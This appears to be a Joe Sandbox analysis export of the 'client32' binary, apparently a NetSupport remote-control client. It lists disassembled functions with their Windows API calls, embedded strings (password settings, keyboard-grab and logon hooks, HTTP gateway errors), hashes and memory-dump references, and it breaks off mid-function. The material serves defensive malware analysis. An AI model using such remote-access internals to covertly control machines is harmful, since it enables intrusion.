Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: $18/03/14 09:15:42 V12.01F3$494126$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$ListenPort$MacAddress$TCPIP$TSMode$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$multipoint=%d, softxpand=%d, pid=%d$screenscrape
API String ID: 1029625771-1354138522
Opcode ID: bf17c5d3710b8a98e8f839d43164a9bb9925bd54a7e7670717860283893199c7
Instruction ID: ca0982745070245b62b0d9423a17b587d5718592cb53d7dfc1a06a055831e232
Opcode Fuzzy Hash: bf17c5d3710b8a98e8f839d43164a9bb9925bd54a7e7670717860283893199c7
Instruction Fuzzy Hash: 09B1A475E002659FDB22DF948D84BEDF7B9BB45318F8481E9E90CA7244DB706A808F61

Function 11027150 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6CB31370,?,0000001A), ref: 1102723D
_strrchr.LIBCMT ref: 1102724C

Part of subcall function 11152F3C: __stricmp_l.LIBCMT ref: 11152F79

Strings

??F, xrefs: 110277D0
NSSAppDataDir, xrefs: 11027585
SupportsAndroid, xrefs: 110276E2
AssistantName, xrefs: 110275EC
TechConsole, xrefs: 1102767D
TLA, xrefs: 11027465
Home, xrefs: 11027435
\, xrefs: 110271CC
LongName, xrefs: 110273D5
NSMAppDataDir, xrefs: 11027555
NSSTLA, xrefs: 110274C5
ShortName, xrefs: 11027405
SupportEMail, xrefs: 11027525
NSSLongCaption, xrefs: 110276B5
AssistantURL, xrefs: 11027619
??I, xrefs: 11027857
NSSName, xrefs: 11027495
Name, xrefs: 1102739E
SupportWWW, xrefs: 110274F5
SupportsChrome, xrefs: 11027646
NSSConfName, xrefs: 110275B5
product.dat, xrefs: 11027200, 11027251

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: 138740f618a786b5ee3efac041f3e8d7d14c2bebde02be3fe677fdfd87e3208f
Instruction ID: f6baba5e36d17a1f61544e27a43f00c9efa3f214cb3d29d370909431fefea075
Opcode Fuzzy Hash: 138740f618a786b5ee3efac041f3e8d7d14c2bebde02be3fe677fdfd87e3208f
Instruction Fuzzy Hash: 9B12E639C046A78FDB56CF24C890BD8BBA0AB3634CF5440E9DCD597241EB71958ACF92

Function 1102ED27 Relevance: 40.7, APIs: 13, Strings: 10, Instructions: 441
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,?,00000001,?), ref: 1102ED78

Part of subcall function 11132450: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

RegCloseKey.KERNEL32(?), ref: 1102EE0D

Part of subcall function 11152C8A: __isdigit_l.LIBCMT ref: 11152CAF

GetModuleHandleA.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 1102EE95
GetProcAddress.KERNEL32(00000000), ref: 1102EE9C
GetNativeSystemInfo.KERNEL32(?), ref: 1102EEAA
GetStockObject.GDI32(0000000D), ref: 1102F083
GetObjectA.GDI32(00000000,0000003C,?), ref: 1102F093
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1102F0D1
SetErrorMode.KERNEL32(00000000,?,?,?,?,00000050), ref: 1102F0D7
InterlockedExchange.KERNEL32(02D08D18,00001388), ref: 1102F158
GetACP.KERNEL32(?,?,?,?,?,?,?,00000050), ref: 1102F18A

Strings

.%d, xrefs: 1102F194
M7, xrefs: 1102F11E
GetNativeSystemInfo, xrefs: 1102EE89
3, xrefs: 1102EE37
u:j$*6, xrefs: 1102F23D
Error %s unloading audiocap dll, xrefs: 1102F396
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 1102ED68
pcicl32, xrefs: 1102F25D
kernel32.dll, xrefs: 1102EE8E
CurrentVersion, xrefs: 1102ED99

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorModeObject$AddressCloseExchangeHandleInfoInterlockedModuleNativeOpenProcQueryStockSystemValue__isdigit_l
String ID: .%d$3$CurrentVersion$Error %s unloading audiocap dll$GetNativeSystemInfo$SOFTWARE\Microsoft\Windows NT\CurrentVersion$kernel32.dll$pcicl32$u:j$*6$M7
API String ID: 3742979543-1875362328
Opcode ID: b30e950a16208c9b80ba5814f786be33e61252569c30e4c8fcf91a30b9764def
Instruction ID: 9d50fd4c4b4771c4e818bae6168a3bc14b0d19ca60a63814d56272cf95f99725
Opcode Fuzzy Hash: b30e950a16208c9b80ba5814f786be33e61252569c30e4c8fcf91a30b9764def
Instruction Fuzzy Hash: 8CF156B5D01265DEEF91CB60CC88BDDFAF4AB0530CF5441AEEC09A7281EA755E84CB52

Function 6C8151C0 Relevance: 38.8, APIs: 18, Strings: 4, Instructions: 286
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 6C8151F5
GetTickCount.KERNEL32 ref: 6C815240
Sleep.KERNEL32(00000064), ref: 6C815275

Part of subcall function 6C814F90: GetTickCount.KERNEL32 ref: 6C814FA1

WaitForSingleObject.KERNEL32(?,?), ref: 6C815296
_memmove.LIBCMT ref: 6C8152AD
select.WSOCK32(00000000,?,00000000,00000000,?), ref: 6C8152CE
Sleep.KERNEL32(00000032,00000000,?,00000000,00000000,?), ref: 6C8152F3
GetTickCount.KERNEL32 ref: 6C815306

Strings

FALSE, xrefs: 6C8154D4
e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c, xrefs: 6C8154CF
httprecv, xrefs: 6C8151FD
ResumeTimeout, xrefs: 6C8151DA

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: CountTick$Sleep$ObjectSingleWait_memmoveselect
String ID: FALSE$ResumeTimeout$e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c$httprecv
API String ID: 1069524698-4272157152
Opcode ID: 44b8122b64c93034257dea3116607ca444f509b54f367f259ba94d10449c9234
Instruction ID: 593d368d61dbfeb8c718b8080e9c3fdd6777ce14be9c65a4a7ba02494ad80cd7
Opcode Fuzzy Hash: 44b8122b64c93034257dea3116607ca444f509b54f367f259ba94d10449c9234
Instruction Fuzzy Hash: EAB1A3B1D042599FDB30DF68CE84BDA73B5AB05308F4049B9E549ABA40D7B4AAC4CFD1

Function 11130D40 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 11130DFA

Strings

Warning. Can't calc AD policy changes, xrefs: 11131235
NSA.LIC, xrefs: 11130E0F, 11130E16, 11130E3D
RoomSpec, xrefs: 11131509, 1113152D
Info. Lockup averted for AD policy changes, xrefs: 11130FCD, 11130FF4
NSM.LIC, xrefs: 11130E00
Client, xrefs: 1113150E, 11131532
_debug, xrefs: 11131267
Chg [%s]%s=%s, xrefs: 11131375
Add [%s]%s=%s, xrefs: 111312B7
Del [%s]%s=%s, xrefs: 11131315
TracePolicyChange, xrefs: 11131262
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 11131577
client, xrefs: 11131213
Info. Policy changed - reload transports..., xrefs: 111314B5
Info. Policy changed - re-initui, xrefs: 11131491
IsA(), xrefs: 1113157C
client., xrefs: 111311F6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h
API String ID: 3535843008-1157355927
Opcode ID: 519f82d833db5c70aa90aaa52ac6864dd0292cdb3728e72bd5b4ca3116148888
Instruction ID: 92f743161b8d2e512d760a62df3d5c411700057ac8f76655c4977d74fc17002b
Opcode Fuzzy Hash: 519f82d833db5c70aa90aaa52ac6864dd0292cdb3728e72bd5b4ca3116148888
Instruction Fuzzy Hash: A0420574E102959BEB21CB60CD40FDEFBB5AFC5319F0441D8D90967285EA726E84CF61

Function 110FC270 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 234libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas), ref: 110FC34A
CloseHandle.KERNEL32(00000000), ref: 110FC359
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 110FC36B
LoadLibraryA.KERNEL32(?), ref: 110FC3A1
GetProcAddress.KERNEL32(?,GrabKM), ref: 110FC3CE
GetProcAddress.KERNEL32(?,LoggedOn), ref: 110FC3E6
FreeLibrary.KERNEL32(?), ref: 110FC40B

Part of subcall function 11102700: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,7774C3F0,00000000,?,11103735,111032D0,00000001,00000000), ref: 11102717
Part of subcall function 11102700: CreateThread.KERNEL32(00000000,11103735,00000001,00000000,00000000,0000000C), ref: 1110273A
Part of subcall function 11102700: WaitForSingleObject.KERNEL32(?,000000FF,?,11103735,111032D0,00000001,00000000,?,?,?,?,?,1102F49F), ref: 11102767
Part of subcall function 11102700: CloseHandle.KERNEL32(?,?,11103735,111032D0,00000001,00000000,?,?,?,?,?,1102F49F), ref: 11102771

GetStockObject.GDI32(0000000D), ref: 110FC41F
GetObjectA.GDI32(00000000,0000003C,?), ref: 110FC42F
InitializeCriticalSection.KERNEL32(0000003C), ref: 110FC44B
InitializeCriticalSection.KERNEL32(111DBDA4), ref: 110FC456

Part of subcall function 110FA7D0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11177D16,000000FF), ref: 110FA8A3
Part of subcall function 110FA7D0: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 110FA8EC

CloseHandle.KERNEL32(00000000,Function_000F6330,00000001,00000000), ref: 110FC499

Part of subcall function 11096D20: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110EC9C4,00000030,11130C07,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 11096D41
Part of subcall function 11096D20: OpenProcessToken.ADVAPI32(00000000,?,?,110EC9C4,00000030,11130C07,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 11096D48
Part of subcall function 11096D20: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 11096D67

CloseHandle.KERNEL32(00000000,Function_000F6330,00000001,00000000), ref: 110FC4EA
CloseHandle.KERNEL32(00000000,Function_000F6330,00000001,00000000), ref: 110FC543
CloseHandle.KERNEL32(00000000,Function_000F6330,00000001,00000000), ref: 110FC587

Strings

GrabKM, xrefs: 110FC3C8
\pcigina, xrefs: 110FC380
LPT1, xrefs: 110FC329
LoggedOn, xrefs: 110FC3E0
nsm_gina_sas, xrefs: 110FC334

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_malloc_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 3930710499-403456261
Opcode ID: b4f7a2aa001f08eb1de94084590e4a4e84de2b21180eea1441a02a77e5a43ed9
Instruction ID: 96122f269ef65589949905bb9c4ffe43a99982700637f7301abdf7ec8998ec3b
Opcode Fuzzy Hash: b4f7a2aa001f08eb1de94084590e4a4e84de2b21180eea1441a02a77e5a43ed9
Instruction Fuzzy Hash: 859191B5E01756AFDB11CFB48D8AB9EBBE4BB05308F044579E55AD7280E770AA40CB11

Function 1106F530 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 1106F615
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 1106F61B
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 1106F621
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 1106F62A
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 1106F630
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 1106F636
_strncpy.LIBCMT ref: 1106F698
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 1106F6FF
CreateThread.KERNEL32(00000000,00004000,Function_0006B810,00000000,00000000,?), ref: 1106F79C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 1106F7A3
SetTimer.USER32(00000000,00000000,000000FA,1105EF40), ref: 1106F7E7
std::exception::exception.LIBCMT ref: 1106F898
__CxxThrowException@8.LIBCMT ref: 1106F8B3

Strings

Password, xrefs: 1106F753
DefaultUsername, xrefs: 1106F6E0
RememberPassword, xrefs: 1106F6B0
General, xrefs: 1106F6B5, 1106F6E5, 1106F758
..\ctl32\Connect.cpp, xrefs: 1106F646
destroy_queue == NULL, xrefs: 1106F64B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: cc7903dda24a66739fd7a13bbda9e0872c732d56e2d593b364654cf261e7dd3c
Instruction ID: 100f990ebe536f4ae5a6f41c30aeaeafdd91ca27a0176a8e63e6253bf368b8ee
Opcode Fuzzy Hash: cc7903dda24a66739fd7a13bbda9e0872c732d56e2d593b364654cf261e7dd3c
Instruction Fuzzy Hash: 0FB1B5B5A00745AFDB10CF64CD84FDAF7F8BB48708F4085A9E60997281E7B0BA44CB65

Function 11129920 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11134460: GetVersionExA.KERNEL32(111DC648,75A38400), ref: 11134490
Part of subcall function 11134460: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 111344CF
Part of subcall function 11134460: _memset.LIBCMT ref: 111344ED
Part of subcall function 11134460: _strncpy.LIBCMT ref: 111345AF
Part of subcall function 11134460: RegCloseKey.KERNEL32(00000000), ref: 111345BF

PostMessageA.USER32(0001042A,000006CF,00000007,00000000), ref: 11129AFF

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

SetWindowTextA.USER32(0001042A,00000000), ref: 11129BA7
IsWindowVisible.USER32(0001042A), ref: 11129C6C
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11129C8C
IsWindowVisible.USER32(0001042A), ref: 11129C9A
SetForegroundWindow.USER32(00000000), ref: 11129CC8
EnableWindow.USER32(0001042A,00000001), ref: 11129CD7
IsWindowVisible.USER32(0001042A), ref: 11129D28
IsWindowVisible.USER32(0001042A), ref: 11129D35
EnableWindow.USER32(0001042A,00000000), ref: 11129D49
EnableWindow.USER32(0001042A,00000000), ref: 11129CAF

Part of subcall function 111228E0: ShowWindow.USER32(0001042A,11129D52,?,11129D52,00000007,?,?,?,?,?,00000000), ref: 111228EE

EnableWindow.USER32(0001042A,00000001), ref: 11129D5D

Strings

HideWhenIdle, xrefs: 1112999C
ShowUIOnConnect, xrefs: 11129ADD
Client, xrefs: 111299A1, 11129A4B, 11129A84, 11129AE2
ViewedText, xrefs: 11129A2B
ConnectedText, xrefs: 11129A38, 11129A47
LockedText, xrefs: 11129A7F

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$CloseMessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 4194384052-3803836183
Opcode ID: e43bb21f673ef14eee2c9dbecfac9de94a1951a9e343f6d3e521405f1ec23232
Instruction ID: 8305938ea656916a4b1fbafb187925e2d273a1d2ad477454ab730d3f5b69f352
Opcode Fuzzy Hash: e43bb21f673ef14eee2c9dbecfac9de94a1951a9e343f6d3e521405f1ec23232
Instruction Fuzzy Hash: D3C1E575A012799FEF01DBA8DD84B5EF7A6AB4038CF604035ED199B2C4FB75A804CB91

Function 6C808270 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 189libraryloadernetworkCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6C80830B
GetTickCount.KERNEL32 ref: 6C808365
InterlockedExchange.KERNEL32(?,-6C848150), ref: 6C808376
GetProcAddress.KERNEL32(?,InternetWriteFile), ref: 6C8083AA
WSAGetLastError.WSOCK32(?,00000000,?), ref: 6C8083CF
InterlockedIncrement.KERNEL32(?), ref: 6C808491

Strings

xx %02x, xrefs: 6C808319
Error send returned 0 on connection %d, xrefs: 6C808445
InternetWriteFile, xrefs: 6C8083A4
Error %d sending HTTP request on connection %d, xrefs: 6C80842B
Error %d writing inet request on connection %d, xrefs: 6C8083D9
SendHttpReq failed, not connected to gateway!, xrefs: 6C8082C1
%02x %02x, xrefs: 6C808305

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: Interlocked$AddressCountErrorExchangeIncrementLastProcTickwsprintf
String ID: %02x %02x$Error %d sending HTTP request on connection %d$Error %d writing inet request on connection %d$Error send returned 0 on connection %d$InternetWriteFile$SendHttpReq failed, not connected to gateway!$xx %02x
API String ID: 642105747-610509312
Opcode ID: 2ac32dfb27fd76595202d7ddf9abe12999a6f6fc691531fd5b1d9b6c4d3b27f3
Instruction ID: 5452a649523cb60f7993c90d64967079740d84bfc9f2eb055cd8df9e4fa18ff2
Opcode Fuzzy Hash: 2ac32dfb27fd76595202d7ddf9abe12999a6f6fc691531fd5b1d9b6c4d3b27f3
Instruction Fuzzy Hash: 66619171E006189FDB30CFA8DE44A9EB3B4BB45318F118A6AE819A7B41D730AD55CFD0

Function 1102EA18 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 186librarysynchronizationloaderCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(001F0001,?,PCIMutex), ref: 1102EB44
